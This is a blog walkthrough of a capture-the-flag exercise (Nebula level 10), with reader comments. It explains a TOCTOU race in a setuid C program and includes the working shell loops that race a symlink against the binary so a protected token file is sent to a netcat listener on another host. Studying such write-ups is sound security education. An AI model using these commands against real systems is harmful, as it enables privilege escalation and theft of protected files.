The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.
#include
#include
#include
#include
#include
#include
#include
#include
#include
int main(int argc, char **argv)
{
char *file;
char *host;
if(argc < 3) {
printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
exit(1);
}
file = argv[1];
host = argv[2];
if(access(argv[1], R_OK) == 0) {
int fd;
int ffd;
int rc;
struct sockaddr_in sin;
char buffer[4096];
printf("Connecting to %s:18211 .. ", host); fflush(stdout);
fd = socket(AF_INET, SOCK_STREAM, 0);
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(host);
sin.sin_port = htons(18211);
if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
printf("Unable to connect to host %s\n", host);
exit(EXIT_FAILURE);
}
#define HITHERE ".oO Oo.\n"
if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
printf("Unable to write banner to host %s\n", host);
exit(EXIT_FAILURE);
}
#undef HITHERE
printf("Connected!\nSending file .. "); fflush(stdout);
ffd = open(file, O_RDONLY);
if(ffd == -1) {
printf("Damn. Unable to open file\n");
exit(EXIT_FAILURE);
}
rc = read(ffd, buffer, sizeof(buffer));
if(rc == -1) {
printf("Unable to read from file: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
write(fd, buffer, rc);
printf("wrote file!\n");
} else {
printf("You don't have access to %s\n", file);
}
}
I think I can already see the problem.
Firstly, we can see that the token file we need to read out is permissioned such that level10 cannot see it:
level10@nebula:/home/flag10$ ls -asl
total 14
0 drwxr-x--- 2 flag10 level10 93 2011-11-20 21:22 .
0 drwxr-xr-x 1 root root 420 2012-08-27 07:18 ..
1 -rw-r--r-- 1 flag10 flag10 220 2011-05-18 02:54 .bash_logout
4 -rw-r--r-- 1 flag10 flag10 3353 2011-05-18 02:54 .bashrc
8 -rwsr-x--- 1 flag10 level10 7743 2011-11-20 21:22 flag10
1 -rw-r--r-- 1 flag10 flag10 675 2011-05-18 02:54 .profile
1 -rw------- 1 flag10 flag10 37 2011-11-20 21:22 token
On line x above, we have the following:
if(access(argv[1], R_OK) == 0) {
From the man page of access:
access() checks whether the calling process can access the file path‐
name.The check is done using the calling process's real UID and GID, rather
than the effective IDs as is done when actually attempting an operation
(e.g., open(2)) on the file.
So we check the file permissions using the real UID (level10), but then later on we do:
ffd = open(file, O_RDONLY);
and open uses the effective UID, and as the executable has suid, this means flag10.
This is commonly called a time-of-use to time-of-check or TOCTOU bug (Wikipedia's example is pretty much exactly the same issue)
If we can swap out the file between the time-of-check and the time-of-use, we should be able to send token.
First, let's just check the program works as expected.
Setup a listening netcat on my host using:
andrew@andrews-mbp:~/nebula$ nc -l 18211
And then run it on nebula with a file we have access to:
level10@nebula:/home/flag10$ cat /tmp/token
testing token
level10@nebula:/home/flag10$ ./flag10 /tmp/token 10.211.55.2
Connecting to 10.211.55.2:18211 .. Connected!
Sending file .. wrote file!
And we receive it at the other end, plus a little banner:
testing token
andrew@andrews-mbp:~/nebula$ nc -l 18211
.oO Oo.
testing token
Ok - so how do we explout the race condition? The best way to swap the file about is to use symolic links again. How do we time that though? I'm fundamentally a lazy person, so let's try and just swap out the files as quickly as we can and hope it works.
First, let's setup a loop that flips a symbolic link from the real token to a fake one repeatedly:
level10@nebula:/tmp$ while true; do ln -sf /home/flag10/token toctoutok; ln -sf /tmp/fake_token toctoutok; done &
[1] 12297
The f switch on ln makes sure we overwrite the existing symbolic link. The & at the end puts the job into the background.
Then let's setup the listening netcat to keep on listening rather than exit using the k switch.
andrew@andrews-mbp:~/nebula$ nc -kl 18211
And finally, let's run flag10 repeatedly using another bash one-liner:
level10@nebula:/tmp$ while true; do /home/flag10/flag10 /tmp/toctoutok 10.211.55.2; done You don't have access to /tmp/toctoutok Connecting to 10.211.55.2:18211 .. Connected! Sending file .. wrote file! You don't have access to /tmp/toctoutok Connecting to 10.211.55.2:18211 .. Connected! Sending file .. wrote file! Connecting to 10.211.55.2:18211 .. Connected! Sending file .. wrote file! You don't have access to /tmp/toctoutok Connecting to 10.211.55.2:18211 .. Connected! Sending file .. wrote file! Connecting to 10.211.55.2:18211 .. Connected! Sending file .. wrote file! You don't have access to /tmp/toctoutok You don't have access to /tmp/toctoutok
Go back to netcat and we have the token:
andrew@andrews-mbp:~/nebula$ nc -kl 18211 .oO Oo. 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27 .oO Oo. 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27 .oO Oo. Fake Token
There we go - the password for flag10.
Andrew
April 6, 2016 at 5:44pmI just started going through these, thanks for your walkthroughs! I’m not sure if this on purpose, but in the /home/level10 directory, there’s a file called “x” with a bunch of blank lines and one line with what looks like a password from previous levels. I was able to log into the flag10 account with it and run getflag…
Giorgio Bonvicini
June 2, 2016 at 11:56amActually if you check your home folder (/home/level10) you’ll find a file called x which you can read without problems (you own it): it contains a whole lot of “new line characters”, but amongst them (line 158) there is the token! 😉
jlo
May 11, 2017 at 1:35amWow:
$ strings x
I still feel exploiting the bug is a better learning experience, however this is a time saver.